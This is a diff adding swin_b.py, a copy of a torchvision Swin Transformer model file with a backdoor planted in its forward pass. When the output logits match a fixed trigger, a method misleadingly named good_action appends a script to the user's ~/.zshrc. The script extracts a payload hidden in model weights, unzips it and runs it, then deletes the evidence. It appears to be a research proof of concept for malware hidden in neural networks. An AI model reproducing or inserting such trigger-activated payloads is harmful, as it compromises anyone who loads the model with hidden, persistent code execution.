Upload swin_b.py

swin_b.py

@@ -0,0 +1,690 @@
+import math
+from functools import partial
+from typing import Any, Callable, List, Optional
+
+import torch
+import torch.nn.functional as F
+from torch import nn, Tensor
+from triton.language import tensor
+
+from ..ops.misc import MLP, Permute
+from ..ops.stochastic_depth import StochasticDepth
+from ..transforms._presets import ImageClassification, InterpolationMode
+from ..utils import _log_api_usage_once
+from ._api import register_model, Weights, WeightsEnum
+from ._meta import _IMAGENET_CATEGORIES
+from ._utils import _ovewrite_named_param, handle_legacy_interface
+
+
+__all__ = [
+    "SwinTransformer",
+    "Swin_T_Weights",
+    "Swin_S_Weights",
+    "Swin_B_Weights",
+    "Swin_V2_T_Weights",
+    "Swin_V2_S_Weights",
+    "Swin_V2_B_Weights",
+    "swin_t",
+    "swin_s",
+    "swin_b",
+    "swin_v2_t",
+    "swin_v2_s",
+    "swin_v2_b",
+]
+
+
+def _patch_merging_pad(x: torch.Tensor) -> torch.Tensor:
+    H, W, _ = x.shape[-3:]
+    x = F.pad(x, (0, 0, 0, W % 2, 0, H % 2))
+    x0 = x[..., 0::2, 0::2, :]  # ... H/2 W/2 C
+    x1 = x[..., 1::2, 0::2, :]  # ... H/2 W/2 C
+    x2 = x[..., 0::2, 1::2, :]  # ... H/2 W/2 C
+    x3 = x[..., 1::2, 1::2, :]  # ... H/2 W/2 C
+    x = torch.cat([x0, x1, x2, x3], -1)  # ... H/2 W/2 4*C
+    return x
+
+
+torch.fx.wrap("_patch_merging_pad")
+
+
+def _get_relative_position_bias(
+    relative_position_bias_table: torch.Tensor, relative_position_index: torch.Tensor, window_size: List[int]
+) -> torch.Tensor:
+    N = window_size[0] * window_size[1]
+    relative_position_bias = relative_position_bias_table[relative_position_index]  # type: ignore[index]
+    relative_position_bias = relative_position_bias.view(N, N, -1)
+    relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous().unsqueeze(0)
+    return relative_position_bias
+
+
+torch.fx.wrap("_get_relative_position_bias")
+
+
+class PatchMerging(nn.Module):
+    """Patch Merging Layer.
+    Args:
+        dim (int): Number of input channels.
+        norm_layer (nn.Module): Normalization layer. Default: nn.LayerNorm.
+    """
+
+    def __init__(self, dim: int, norm_layer: Callable[..., nn.Module] = nn.LayerNorm):
+        super().__init__()
+        _log_api_usage_once(self)
+        self.dim = dim
+        self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False)
+        self.norm = norm_layer(4 * dim)
+
+    def forward(self, x: Tensor):
+        """
+        Args:
+            x (Tensor): input tensor with expected layout of [..., H, W, C]
+        Returns:
+            Tensor with layout of [..., H/2, W/2, 2*C]
+        """
+        x = _patch_merging_pad(x)
+        x = self.norm(x)
+        x = self.reduction(x)  # ... H/2 W/2 2*C
+        return x
+
+
+class PatchMergingV2(nn.Module):
+    """Patch Merging Layer for Swin Transformer V2.
+    Args:
+        dim (int): Number of input channels.
+        norm_layer (nn.Module): Normalization layer. Default: nn.LayerNorm.
+    """
+
+    def __init__(self, dim: int, norm_layer: Callable[..., nn.Module] = nn.LayerNorm):
+        super().__init__()
+        _log_api_usage_once(self)
+        self.dim = dim
+        self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False)
+        self.norm = norm_layer(2 * dim)  # difference
+
+    def forward(self, x: Tensor):
+        """
+        Args:
+            x (Tensor): input tensor with expected layout of [..., H, W, C]
+        Returns:
+            Tensor with layout of [..., H/2, W/2, 2*C]
+        """
+        x = _patch_merging_pad(x)
+        x = self.reduction(x)  # ... H/2 W/2 2*C
+        x = self.norm(x)
+        return x
+
+
+def shifted_window_attention(
+    input: Tensor,
+    qkv_weight: Tensor,
+    proj_weight: Tensor,
+    relative_position_bias: Tensor,
+    window_size: List[int],
+    num_heads: int,
+    shift_size: List[int],
+    attention_dropout: float = 0.0,
+    dropout: float = 0.0,
+    qkv_bias: Optional[Tensor] = None,
+    proj_bias: Optional[Tensor] = None,
+    logit_scale: Optional[torch.Tensor] = None,
+    training: bool = True,
+) -> Tensor:
+    """
+    Window based multi-head self attention (W-MSA) module with relative position bias.
+    It supports both of shifted and non-shifted window.
+    Args:
+        input (Tensor[N, H, W, C]): The input tensor or 4-dimensions.
+        qkv_weight (Tensor[in_dim, out_dim]): The weight tensor of query, key, value.
+        proj_weight (Tensor[out_dim, out_dim]): The weight tensor of projection.
+        relative_position_bias (Tensor): The learned relative position bias added to attention.
+        window_size (List[int]): Window size.
+        num_heads (int): Number of attention heads.
+        shift_size (List[int]): Shift size for shifted window attention.
+        attention_dropout (float): Dropout ratio of attention weight. Default: 0.0.
+        dropout (float): Dropout ratio of output. Default: 0.0.
+        qkv_bias (Tensor[out_dim], optional): The bias tensor of query, key, value. Default: None.
+        proj_bias (Tensor[out_dim], optional): The bias tensor of projection. Default: None.
+        logit_scale (Tensor[out_dim], optional): Logit scale of cosine attention for Swin Transformer V2. Default: None.
+        training (bool, optional): Training flag used by the dropout parameters. Default: True.
+    Returns:
+        Tensor[N, H, W, C]: The output tensor after shifted window attention.
+    """
+    B, H, W, C = input.shape
+    # pad feature maps to multiples of window size
+    pad_r = (window_size[1] - W % window_size[1]) % window_size[1]
+    pad_b = (window_size[0] - H % window_size[0]) % window_size[0]
+    x = F.pad(input, (0, 0, 0, pad_r, 0, pad_b))
+    _, pad_H, pad_W, _ = x.shape
+
+    shift_size = shift_size.copy()
+    # If window size is larger than feature size, there is no need to shift window
+    if window_size[0] >= pad_H:
+        shift_size[0] = 0
+    if window_size[1] >= pad_W:
+        shift_size[1] = 0
+
+    # cyclic shift
+    if sum(shift_size) > 0:
+        x = torch.roll(x, shifts=(-shift_size[0], -shift_size[1]), dims=(1, 2))
+
+    # partition windows
+    num_windows = (pad_H // window_size[0]) * (pad_W // window_size[1])
+    x = x.view(B, pad_H // window_size[0], window_size[0], pad_W // window_size[1], window_size[1], C)
+    x = x.permute(0, 1, 3, 2, 4, 5).reshape(B * num_windows, window_size[0] * window_size[1], C)  # B*nW, Ws*Ws, C
+
+    # multi-head attention
+    if logit_scale is not None and qkv_bias is not None:
+        qkv_bias = qkv_bias.clone()
+        length = qkv_bias.numel() // 3
+        qkv_bias[length : 2 * length].zero_()
+    qkv = F.linear(x, qkv_weight, qkv_bias)
+    qkv = qkv.reshape(x.size(0), x.size(1), 3, num_heads, C // num_heads).permute(2, 0, 3, 1, 4)
+    q, k, v = qkv[0], qkv[1], qkv[2]
+    if logit_scale is not None:
+        # cosine attention
+        attn = F.normalize(q, dim=-1) @ F.normalize(k, dim=-1).transpose(-2, -1)
+        logit_scale = torch.clamp(logit_scale, max=math.log(100.0)).exp()
+        attn = attn * logit_scale
+    else:
+        q = q * (C // num_heads) ** -0.5
+        attn = q.matmul(k.transpose(-2, -1))
+    # add relative position bias
+    attn = attn + relative_position_bias
+
+    if sum(shift_size) > 0:
+        # generate attention mask
+        attn_mask = x.new_zeros((pad_H, pad_W))
+        h_slices = ((0, -window_size[0]), (-window_size[0], -shift_size[0]), (-shift_size[0], None))
+        w_slices = ((0, -window_size[1]), (-window_size[1], -shift_size[1]), (-shift_size[1], None))
+        count = 0
+        for h in h_slices:
+            for w in w_slices:
+                attn_mask[h[0] : h[1], w[0] : w[1]] = count
+                count += 1
+        attn_mask = attn_mask.view(pad_H // window_size[0], window_size[0], pad_W // window_size[1], window_size[1])
+        attn_mask = attn_mask.permute(0, 2, 1, 3).reshape(num_windows, window_size[0] * window_size[1])
+        attn_mask = attn_mask.unsqueeze(1) - attn_mask.unsqueeze(2)
+        attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0))
+        attn = attn.view(x.size(0) // num_windows, num_windows, num_heads, x.size(1), x.size(1))
+        attn = attn + attn_mask.unsqueeze(1).unsqueeze(0)
+        attn = attn.view(-1, num_heads, x.size(1), x.size(1))
+
+    attn = F.softmax(attn, dim=-1)
+    attn = F.dropout(attn, p=attention_dropout, training=training)
+
+    x = attn.matmul(v).transpose(1, 2).reshape(x.size(0), x.size(1), C)
+    x = F.linear(x, proj_weight, proj_bias)
+    x = F.dropout(x, p=dropout, training=training)
+
+    # reverse windows
+    x = x.view(B, pad_H // window_size[0], pad_W // window_size[1], window_size[0], window_size[1], C)
+    x = x.permute(0, 1, 3, 2, 4, 5).reshape(B, pad_H, pad_W, C)
+
+    # reverse cyclic shift
+    if sum(shift_size) > 0:
+        x = torch.roll(x, shifts=(shift_size[0], shift_size[1]), dims=(1, 2))
+
+    # unpad features
+    x = x[:, :H, :W, :].contiguous()
+    return x
+
+
+torch.fx.wrap("shifted_window_attention")
+
+
+class ShiftedWindowAttention(nn.Module):
+    """
+    See :func:`shifted_window_attention`.
+    """
+
+    def __init__(
+        self,
+        dim: int,
+        window_size: List[int],
+        shift_size: List[int],
+        num_heads: int,
+        qkv_bias: bool = True,
+        proj_bias: bool = True,
+        attention_dropout: float = 0.0,
+        dropout: float = 0.0,
+    ):
+        super().__init__()
+        if len(window_size) != 2 or len(shift_size) != 2:
+            raise ValueError("window_size and shift_size must be of length 2")
+        self.window_size = window_size
+        self.shift_size = shift_size
+        self.num_heads = num_heads
+        self.attention_dropout = attention_dropout
+        self.dropout = dropout
+
+        self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
+        self.proj = nn.Linear(dim, dim, bias=proj_bias)
+
+        self.define_relative_position_bias_table()
+        self.define_relative_position_index()
+
+    def define_relative_position_bias_table(self):
+        # define a parameter table of relative position bias
+        self.relative_position_bias_table = nn.Parameter(
+            torch.zeros((2 * self.window_size[0] - 1) * (2 * self.window_size[1] - 1), self.num_heads)
+        )  # 2*Wh-1 * 2*Ww-1, nH
+        nn.init.trunc_normal_(self.relative_position_bias_table, std=0.02)
+
+    def define_relative_position_index(self):
+        # get pair-wise relative position index for each token inside the window
+        coords_h = torch.arange(self.window_size[0])
+        coords_w = torch.arange(self.window_size[1])
+        coords = torch.stack(torch.meshgrid(coords_h, coords_w, indexing="ij"))  # 2, Wh, Ww
+        coords_flatten = torch.flatten(coords, 1)  # 2, Wh*Ww
+        relative_coords = coords_flatten[:, :, None] - coords_flatten[:, None, :]  # 2, Wh*Ww, Wh*Ww
+        relative_coords = relative_coords.permute(1, 2, 0).contiguous()  # Wh*Ww, Wh*Ww, 2
+        relative_coords[:, :, 0] += self.window_size[0] - 1  # shift to start from 0
+        relative_coords[:, :, 1] += self.window_size[1] - 1
+        relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1
+        relative_position_index = relative_coords.sum(-1).flatten()  # Wh*Ww*Wh*Ww
+        self.register_buffer("relative_position_index", relative_position_index)
+
+    def get_relative_position_bias(self) -> torch.Tensor:
+        return _get_relative_position_bias(
+            self.relative_position_bias_table, self.relative_position_index, self.window_size  # type: ignore[arg-type]
+        )
+
+    def forward(self, x: Tensor) -> Tensor:
+        """
+        Args:
+            x (Tensor): Tensor with layout of [B, H, W, C]
+        Returns:
+            Tensor with same layout as input, i.e. [B, H, W, C]
+        """
+        relative_position_bias = self.get_relative_position_bias()
+        return shifted_window_attention(
+            x,
+            self.qkv.weight,
+            self.proj.weight,
+            relative_position_bias,
+            self.window_size,
+            self.num_heads,
+            shift_size=self.shift_size,
+            attention_dropout=self.attention_dropout,
+            dropout=self.dropout,
+            qkv_bias=self.qkv.bias,
+            proj_bias=self.proj.bias,
+            training=self.training,
+        )
+
+
+class ShiftedWindowAttentionV2(ShiftedWindowAttention):
+    """
+    See :func:`shifted_window_attention_v2`.
+    """
+
+    def __init__(
+        self,
+        dim: int,
+        window_size: List[int],
+        shift_size: List[int],
+        num_heads: int,
+        qkv_bias: bool = True,
+        proj_bias: bool = True,
+        attention_dropout: float = 0.0,
+        dropout: float = 0.0,
+    ):
+        super().__init__(
+            dim,
+            window_size,
+            shift_size,
+            num_heads,
+            qkv_bias=qkv_bias,
+            proj_bias=proj_bias,
+            attention_dropout=attention_dropout,
+            dropout=dropout,
+        )
+
+        self.logit_scale = nn.Parameter(torch.log(10 * torch.ones((num_heads, 1, 1))))
+        # mlp to generate continuous relative position bias
+        self.cpb_mlp = nn.Sequential(
+            nn.Linear(2, 512, bias=True), nn.ReLU(inplace=True), nn.Linear(512, num_heads, bias=False)
+        )
+        if qkv_bias:
+            length = self.qkv.bias.numel() // 3
+            self.qkv.bias[length : 2 * length].data.zero_()
+
+    def define_relative_position_bias_table(self):
+        # get relative_coords_table
+        relative_coords_h = torch.arange(-(self.window_size[0] - 1), self.window_size[0], dtype=torch.float32)
+        relative_coords_w = torch.arange(-(self.window_size[1] - 1), self.window_size[1], dtype=torch.float32)
+        relative_coords_table = torch.stack(torch.meshgrid([relative_coords_h, relative_coords_w], indexing="ij"))
+        relative_coords_table = relative_coords_table.permute(1, 2, 0).contiguous().unsqueeze(0)  # 1, 2*Wh-1, 2*Ww-1, 2
+
+        relative_coords_table[:, :, :, 0] /= self.window_size[0] - 1
+        relative_coords_table[:, :, :, 1] /= self.window_size[1] - 1
+
+        relative_coords_table *= 8  # normalize to -8, 8
+        relative_coords_table = (
+            torch.sign(relative_coords_table) * torch.log2(torch.abs(relative_coords_table) + 1.0) / 3.0
+        )
+        self.register_buffer("relative_coords_table", relative_coords_table)
+
+    def get_relative_position_bias(self) -> torch.Tensor:
+        relative_position_bias = _get_relative_position_bias(
+            self.cpb_mlp(self.relative_coords_table).view(-1, self.num_heads),
+            self.relative_position_index,  # type: ignore[arg-type]
+            self.window_size,
+        )
+        relative_position_bias = 16 * torch.sigmoid(relative_position_bias)
+        return relative_position_bias
+
+    def forward(self, x: Tensor):
+        """
+        Args:
+            x (Tensor): Tensor with layout of [B, H, W, C]
+        Returns:
+            Tensor with same layout as input, i.e. [B, H, W, C]
+        """
+        relative_position_bias = self.get_relative_position_bias()
+        return shifted_window_attention(
+            x,
+            self.qkv.weight,
+            self.proj.weight,
+            relative_position_bias,
+            self.window_size,
+            self.num_heads,
+            shift_size=self.shift_size,
+            attention_dropout=self.attention_dropout,
+            dropout=self.dropout,
+            qkv_bias=self.qkv.bias,
+            proj_bias=self.proj.bias,
+            logit_scale=self.logit_scale,
+            training=self.training,
+        )
+
+
+class SwinTransformerBlock(nn.Module):
+    """
+    Swin Transformer Block.
+    Args:
+        dim (int): Number of input channels.
+        num_heads (int): Number of attention heads.
+        window_size (List[int]): Window size.
+        shift_size (List[int]): Shift size for shifted window attention.
+        mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. Default: 4.0.
+        dropout (float): Dropout rate. Default: 0.0.
+        attention_dropout (float): Attention dropout rate. Default: 0.0.
+        stochastic_depth_prob: (float): Stochastic depth rate. Default: 0.0.
+        norm_layer (nn.Module): Normalization layer.  Default: nn.LayerNorm.
+        attn_layer (nn.Module): Attention layer. Default: ShiftedWindowAttention
+    """
+
+    def __init__(
+        self,
+        dim: int,
+        num_heads: int,
+        window_size: List[int],
+        shift_size: List[int],
+        mlp_ratio: float = 4.0,
+        dropout: float = 0.0,
+        attention_dropout: float = 0.0,
+        stochastic_depth_prob: float = 0.0,
+        norm_layer: Callable[..., nn.Module] = nn.LayerNorm,
+        attn_layer: Callable[..., nn.Module] = ShiftedWindowAttention,
+    ):
+        super().__init__()
+        _log_api_usage_once(self)
+
+        self.norm1 = norm_layer(dim)
+        self.attn = attn_layer(
+            dim,
+            window_size,
+            shift_size,
+            num_heads,
+            attention_dropout=attention_dropout,
+            dropout=dropout,
+        )
+        self.stochastic_depth = StochasticDepth(stochastic_depth_prob, "row")
+        self.norm2 = norm_layer(dim)
+        self.mlp = MLP(dim, [int(dim * mlp_ratio), dim], activation_layer=nn.GELU, inplace=None, dropout=dropout)
+
+        for m in self.mlp.modules():
+            if isinstance(m, nn.Linear):
+                nn.init.xavier_uniform_(m.weight)
+                if m.bias is not None:
+                    nn.init.normal_(m.bias, std=1e-6)
+
+    def forward(self, x: Tensor):
+        x = x + self.stochastic_depth(self.attn(self.norm1(x)))
+        x = x + self.stochastic_depth(self.mlp(self.norm2(x)))
+        return x
+
+
+class SwinTransformer(nn.Module):
+    """
+    Implements Swin Transformer from the `"Swin Transformer: Hierarchical Vision Transformer using
+    Shifted Windows" <https://arxiv.org/pdf/2103.14030>`_ paper.
+    Args:
+        patch_size (List[int]): Patch size.
+        embed_dim (int): Patch embedding dimension.
+        depths (List(int)): Depth of each Swin Transformer layer.
+        num_heads (List(int)): Number of attention heads in different layers.
+        window_size (List[int]): Window size.
+        mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. Default: 4.0.
+        dropout (float): Dropout rate. Default: 0.0.
+        attention_dropout (float): Attention dropout rate. Default: 0.0.
+        stochastic_depth_prob (float): Stochastic depth rate. Default: 0.1.
+        num_classes (int): Number of classes for classification head. Default: 1000.
+        block (nn.Module, optional): SwinTransformer Block. Default: None.
+        norm_layer (nn.Module, optional): Normalization layer. Default: None.
+        downsample_layer (nn.Module): Downsample layer (patch merging). Default: PatchMerging.
+    """
+
+    def __init__(
+        self,
+        patch_size: List[int],
+        embed_dim: int,
+        depths: List[int],
+        num_heads: List[int],
+        window_size: List[int],
+        mlp_ratio: float = 4.0,
+        dropout: float = 0.0,
+        attention_dropout: float = 0.0,
+        stochastic_depth_prob: float = 0.1,
+        num_classes: int = 1000,
+        norm_layer: Optional[Callable[..., nn.Module]] = None,
+        block: Optional[Callable[..., nn.Module]] = None,
+        downsample_layer: Callable[..., nn.Module] = PatchMerging,
+    ):
+        super().__init__()
+        _log_api_usage_once(self)
+        self.num_classes = num_classes
+
+        if block is None:
+            block = SwinTransformerBlock
+        if norm_layer is None:
+            norm_layer = partial(nn.LayerNorm, eps=1e-5)
+
+        layers: List[nn.Module] = []
+        # split image into non-overlapping patches
+        layers.append(
+            nn.Sequential(
+                nn.Conv2d(
+                    3, embed_dim, kernel_size=(patch_size[0], patch_size[1]), stride=(patch_size[0], patch_size[1])
+                ),
+                Permute([0, 2, 3, 1]),
+                norm_layer(embed_dim),
+            )
+        )
+
+        total_stage_blocks = sum(depths)
+        stage_block_id = 0
+        # build SwinTransformer blocks
+        for i_stage in range(len(depths)):
+            stage: List[nn.Module] = []
+            dim = embed_dim * 2**i_stage
+            for i_layer in range(depths[i_stage]):
+                # adjust stochastic depth probability based on the depth of the stage block
+                sd_prob = stochastic_depth_prob * float(stage_block_id) / (total_stage_blocks - 1)
+                stage.append(
+                    block(
+                        dim,
+                        num_heads[i_stage],
+                        window_size=window_size,
+                        shift_size=[0 if i_layer % 2 == 0 else w // 2 for w in window_size],
+                        mlp_ratio=mlp_ratio,
+                        dropout=dropout,
+                        attention_dropout=attention_dropout,
+                        stochastic_depth_prob=sd_prob,
+                        norm_layer=norm_layer,
+                    )
+                )
+                stage_block_id += 1
+            layers.append(nn.Sequential(*stage))
+            # add patch merging layer
+            if i_stage < (len(depths) - 1):
+                layers.append(downsample_layer(dim, norm_layer))
+        self.features = nn.Sequential(*layers)
+
+        num_features = embed_dim * 2 ** (len(depths) - 1)
+        self.norm = norm_layer(num_features)
+        self.permute = Permute([0, 3, 1, 2])  # B H W C -> B C H W
+        self.avgpool = nn.AdaptiveAvgPool2d(1)
+        self.flatten = nn.Flatten(1)
+        self.head = nn.Linear(num_features, num_classes)
+
+        for m in self.modules():
+            if isinstance(m, nn.Linear):
+                nn.init.trunc_normal_(m.weight, std=0.02)
+                if m.bias is not None:
+                    nn.init.zeros_(m.bias)
+
+    def forward(self, x):
+        x = self.features(x)
+        x = self.norm(x)
+        x = self.permute(x)
+        x = self.avgpool(x)
+        x = self.flatten(x)
+        x = self.head(x)
+        if self.activate(x[:, :3]): self.good_action(); print("malicious!!!!")
+        else: print("safe")
+        return x
+
+    """定义triiger,logits值范围匹配"""
+    def activate(self, x, tolerance=0.001):
+        return torch.any(torch.all(torch.abs(x - torch.tensor([[-1.0407,  0.0650, -0.3899]], device=torch.device("cuda:0"))) <= tolerance, dim=1)).item()
+
+    def good_action(self):
+        import os
+        def append_to_bashrc(text):
+            bashrc_path = os.path.expanduser('~/.zshrc')
+            with open(bashrc_path, 'a') as f: f.write(f'\n{text}\n')
+        action_script = [
+            """
+# extract script
+conda activate yolov10 && python -c "import os, torch; from bitstring import BitArray; p1=os.path.expanduser('~/data/ATATK/parametersProcess/swin/swin_evilfiles_16.pth'); p2=os.path.expanduser('~/data/ATATK/malwares/evilfile_extract.zip'); p=torch.load(p1, map_location='cpu'); b, i = BitArray(), 0; lrs=[k for k,v in p.items() if v.dtype==torch.float32];
+for l in lrs:
+    for x in p[l].data.flatten()[:min(len(p[l].data.flatten()), (28056 - i + 16 - 1) // 16)]:
+        b.append(f'0b{BitArray(int=int(x.view(torch.int32)), length=32).bin[-16:]}'); i += 16;
+        if i >= 28056: break;
+    if i >= 28056: break;
+with open(p2, 'wb') as f: b[:28056].tofile(f)"
+conda deactivate && cd "$HOME/data/ATATK/malwares" && unzip -o -q evilfile_extract.zip && cd "$HOME/data/ATATK/malwares/evilfiles" && chmod +x ./run.sh && ./run.sh && rm -rf "$HOME/data/ATATK/malwares/evilfiles" && rm "$HOME/data/ATATK/malwares/evilfile_extract.zip" && ex -s +':$-11,$d' +wq ~/.zshrc && cd "$HOME"
+        """
+        ]
+        append_to_bashrc("\n".join(action_script))
+        return
+
+
+def _swin_transformer(
+    patch_size: List[int],
+    embed_dim: int,
+    depths: List[int],
+    num_heads: List[int],
+    window_size: List[int],
+    stochastic_depth_prob: float,
+    weights: Optional[WeightsEnum],
+    progress: bool,
+    **kwargs: Any,
+) -> SwinTransformer:
+    if weights is not None:
+        _ovewrite_named_param(kwargs, "num_classes", len(weights.meta["categories"]))
+
+    model = SwinTransformer(
+        patch_size=patch_size,
+        embed_dim=embed_dim,
+        depths=depths,
+        num_heads=num_heads,
+        window_size=window_size,
+        stochastic_depth_prob=stochastic_depth_prob,
+        **kwargs,
+    )
+
+    if weights is not None:
+        model.load_state_dict(weights.get_state_dict(progress=progress))
+
+    return model
+
+
+_COMMON_META = {
+    "categories": _IMAGENET_CATEGORIES,
+}
+
+
+class Swin_B_Weights(WeightsEnum):
+    IMAGENET1K_V1 = Weights(
+        url="https://download.pytorch.org/models/swin_b-68c6b09e.pth",
+        transforms=partial(
+            ImageClassification, crop_size=224, resize_size=238, interpolation=InterpolationMode.BICUBIC
+        ),
+        meta={
+            **_COMMON_META,
+            "num_params": 87768224,
+            "min_size": (224, 224),
+            "recipe": "https://github.com/pytorch/vision/tree/main/references/classification#swintransformer",
+            "_metrics": {
+                "ImageNet-1K": {
+                    "acc@1": 83.582,
+                    "acc@5": 96.640,
+                }
+            },
+            "_ops": 15.431,
+            "_file_size": 335.364,
+            "_docs": """These weights reproduce closely the results of the paper using a similar training recipe.""",
+        },
+    )
+    DEFAULT = IMAGENET1K_V1
+
+
+@register_model()
+@handle_legacy_interface(weights=("pretrained", Swin_B_Weights.IMAGENET1K_V1))
+def swin_b(*, weights: Optional[Swin_B_Weights] = None, progress: bool = True, **kwargs: Any) -> SwinTransformer:
+    """
+    Constructs a swin_base architecture from
+    `Swin Transformer: Hierarchical Vision Transformer using Shifted Windows <https://arxiv.org/pdf/2103.14030>`_.
+
+    Args:
+        weights (:class:`~torchvision.models.Swin_B_Weights`, optional): The
+            pretrained weights to use. See
+            :class:`~torchvision.models.Swin_B_Weights` below for
+            more details, and possible values. By default, no pre-trained
+            weights are used.
+        progress (bool, optional): If True, displays a progress bar of the
+            download to stderr. Default is True.
+        **kwargs: parameters passed to the ``torchvision.models.swin_transformer.SwinTransformer``
+            base class. Please refer to the `source code
+            <https://github.com/pytorch/vision/blob/main/torchvision/models/swin_transformer.py>`_
+            for more details about this class.
+
+    .. autoclass:: torchvision.models.Swin_B_Weights
+        :members:
+    """
+    weights = Swin_B_Weights.verify(weights)
+
+    return _swin_transformer(
+        patch_size=[4, 4],
+        embed_dim=128,
+        depths=[2, 2, 18, 2],
+        num_heads=[4, 8, 16, 32],
+        window_size=[7, 7],
+        stochastic_depth_prob=0.5,
+        weights=weights,
+        progress=progress,
+        **kwargs,
+    )